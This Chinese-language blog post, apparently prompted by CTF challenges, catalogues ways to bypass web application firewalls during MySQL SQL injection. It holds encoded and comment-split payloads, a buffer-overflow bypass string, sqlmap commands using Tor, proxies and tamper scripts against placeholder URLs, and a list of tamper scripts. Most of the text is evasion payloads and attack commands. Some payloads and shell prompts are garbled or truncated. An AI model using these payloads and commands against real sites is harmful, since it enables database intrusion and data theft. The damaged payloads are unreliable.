mysql手工注入繞過 sql注入繞過WAF

2021-10-18 22:25:40 字數 4780 閱讀 1189

這幾天的ctf題中有好幾道題都是sql注入的,但都存在waf需要繞過,於是整理了一些常見的繞過waf注入的方法。

在現實sql注入中我們也常常碰到waf,那麼掌握常見的繞過很有必要。

0x01、手工注入繞過

1、大小寫混合例如:union select 1,2,3,4

只適用於針對大小寫關鍵字的匹配

2、替換關鍵字例如:uniunionon selselectect 1,2,3,4

3、使用編碼url編碼

如:空格變為%20、單引號%27、左括號%28、右括號%29,有時候兩次編碼繞過%252f%252a*/union%252f%252a /select十六進製制編碼

可以對單個字元進行十六進製制編碼繞過,亦可以對整個字串進行編碼繞過。unicode編碼

單引號: %u0027、%u02b9、%u02bc、%u02c8、%u2032、%uff07、%c0%27、%c0%a7、%e0%80%a7

空格:%u0020、%uff00、%c0%20、%c0%a0、%e0%80%a0

左括號:%u0028、%uff08、%c0%28、%c0%a8、%e0%80%a8

右括號:%u0029、%uff09、%c0%29、%c0%a9、%e0%80%a9

4、使用注釋

常見注釋符號://, – , /**/, #, –+,– -, ;,–a普通注釋

%55nion/**/%53elect 1,2,3,4內聯注釋 /!**/只有mysql能識別

/!union / /!select / 1,2,3

5、等價函式或命令hex()、bin() ==> ascii()

sleep() ==>benchmark()

concat_ws()==>group_concat()

mid()、substr() ==> substring()

@@user ==> user()

@@datadir ==> datadir()

and和or有時候不能使用,可以使用&&和||;還有=不能使用的情況,可以考慮嘗試,因為如果不小於又不大於,那邊是等於了

對於空格的繞過,可以使用如下符號繞過:%20 %09 %0a %0b %0c %0d %a0 /**/

6、特殊符號1、使用反引號`

例如select version(),可以用來過空格和正則,特殊情況下還可以將其做注釋符用2、使用」-+.」

elect+id-1+1.from users; 「+」是用於字串連線的,」-」和」.」在此也用於連線,可以逃過空格和關鍵字過濾

select@^ 1.from users; @[email protected]_name,[email protected],@@表示系統變數

7、加括號例如:/?id=(1)union(select(1),mid(hash,1,32)from(users))

8、緩衝區溢位

不少waf都是由c語言編寫的,而c語言緩衝區保護機制。如何waf在處理測試向量時超出其緩衝區長度,就會引發bug從而實現繞過例如:id=1 and (select 1)=(select 0xaaaaaaaaaaaaaaaaaaaaa)+union+select+1,2,version(),4,5,database(),user(),8,9,10,11,12,13,14,15–-+

其中0xaaaaaaaaaaaaaaaaaaaaa這裡a越多越好,一般來說對應用軟體構成緩衝區溢位都需要較大的測試長度,一般要求1000個以上

0x02、sqlmap注入繞過

當我們使用sqlmap注入遇到waf時,可以使用sqlmap中的tamper,它裡面有很多實用的防過濾指令碼

首先我們需要確定waf過濾了那些關鍵字,比如:單引號、空格、select、union、admin等,當我們確定了過濾機制可以使用tamper進行繞過如何判斷使用那個過濾指令碼,最簡單的辦法就是直接在url手工帶入進行測試,根據返回資訊進行判斷

使用sqlmap確認是否含有wafsqlmap -u "http://***?id=51&types=4" --thread 10 --identify-waf

使用引數進行繞過[email protected]:~# sqlmap -u "http://***x?id=51&types=4" --random-agent -v 2 #使用任意瀏覽器進行繞過,尤其是在waf配置不當的時候

[email protected]:~# sqlmap -u "http://***x?id=51&types=4" --hpp -v 3#使用http 引數汙染進行繞過,尤其是在asp.net/iis 平台上

[email protected]:~# sqlmap -u "http://***x?id=51&types=4" --delay=3.5 --time-sec=60 #使用長的延時來避免觸發waf的機制,這方式比較耗時

[email protected]:~# sqlmap -u "http://***x?id=51&types=4" --proxy=211.211.211.211:8080 --proxy-cred=211:985#使用**進行注入

[email protected]:~# sqlmap -u "http://***x?id=51&types=4" --ignore-proxy#禁止使用系統的**,直接連線進行注入

[email protected]:~# sqlmap -u "http://***x?id=51&types=4" --flush-session#清空會話,重構注入

[email protected]:~# sqlmap -u "http://***x?id=51&types=4" --hex#或者使用引數 --no-cast ,進行字元碼轉換

[email protected]:~# sqlmap -u "http://***x?id=51&types=4" --mobile #對移動端的伺服器進行注入

[email protected]:~# sqlmap -u "http://***x?id=51&types=4" --tor # 匿名注入

使用指令碼繞過[email protected]:~# sqlmap -u "http://***x?id=51&types=4" --tamper=a.py,b.py#指令碼a,指令碼b

還可以同時使用多個指令碼,使用-v引數觀察payload的變化

常見指令碼種類:apostrophemask.py

作用:用utf8代替引號equaltolike.py

作用:like代替等號space2dash.py

作用:繞過過濾『=』 替換空格字元(」),(』 – 『)後跟乙個破折號注釋,乙個隨機字串和乙個新行(』 n』)greatest.py

繞過過濾』>』 ,用greatest替換大於號space2hash.py

作用:空格替換為#號 隨機字串 以及換行符apostrophenullencode.py

繞過過濾雙引號,替換字元和雙引號。halfversionedmorekeywords.py

作用:在有效負荷結束位置載入零位元組字元編碼ifnull2ifisnull.py

作用:繞過對 ifnull 過濾。 替換類似』ifnull(a, b)』為』if(isnull(a), b, a)』space2mssqlblank.py(mssql)

作用:空格替換為其它空符號base64encode.py

作用:用base64編碼替換space2mssqlhash.py

作用:替換空格modsecurityversioned.py

作用:過濾空格,包含完整的查詢版本注釋space2mysqlblank.py

作用:空格替換其它空白符號(mysql)between.py

作用:用between替換大於號(>)space2mysqldash.py

作用:替換空格字元(」)(』 – 『)後跟乙個破折號注釋乙個新行(』 n』)

注:之前有個mssql的 這個是mysql的multiplespaces.py

作用:圍繞sql關鍵字新增多個空格space2plus.py

作用:用+替換空格bluecoat.py

作用:代替空格字元後與乙個有效的隨機空白字元的sql語句。 然後替換=為likenonrecursivereplacement.py

作用:雙重查詢語句。取代predefined sql關鍵字with表示 suitable for替代(例如 .replace(「select」、」」)) filtersspace2randomblank.py

作用:代替空格字元(「」)從乙個隨機的空白字元可選字元的有效集sp_password.py

作用:追加sp_password』從dbms日誌的自動模糊處理的有效載荷的末尾chardoubleencode.py

作用: 雙url編碼(不處理以編碼的)unionalltounion.py

作用:替換union all select union selectcharencode.py

作用:url編碼randomcase.py

作用:隨機大小寫unmagicquotes.py

作用:寬字元繞過 gpc addslashesrandomcomments.py

作用:用/ /分割sql關鍵字charunicodeencode.py

作用:字串 unicode 編碼securesphere.py

作用:追加特製的字串versionedmorekeywords.py

作用:注釋繞過space2comment.py

作用:replaces space character (『 『) with comments 『/ /『halfversionedmorekeywords.py

作用:關鍵字前加注釋

MYSQL 手工SQL注入繞過技巧 實戰篇

之前遇到乙個站點,經檢測存在sql注入,但是有waf存在,後來知道是綠盟的web應用防火牆。後來在社群看到了一篇關於 sql注入繞過技巧 的文章後 原文 回過頭來重新進行手工,這次總算乾掉了waf。以下是自己對於本次滲透的一些學習筆記,包含一些繞過waf的技巧。首先判斷注入點 id 161 sele...

mysql注入轉義繞過 SQL注入防禦繞過

一 寬位元組注入 1 什麼是寬位元組 gb2312 gbk gb18030 big5等這些都是常說的寬位元組,實際為兩位元組 2 寬位元組注入原理 防禦 將 轉換為 繞過 將 消滅 mysql在使用gbk編碼的時候,會認為兩個字元為乙個漢字 編碼為 5c 編碼為 27 df 5c mysql會認為是...

mysql 注釋 繞過 sql注入繞過方法

一 注釋符號繞過 在sql中常用的注釋符號有 二 大小寫繞過 當web正則過濾的時候對大小寫不敏感的情況下使用,一般很少會有這種漏洞 比如當過濾了select的時候我們可以採用select來查詢 三 內聯注釋繞過 把要使用的查詢語句放在 中,這樣在一般的資料庫是不會執行的,但是在mysql中內聯注釋...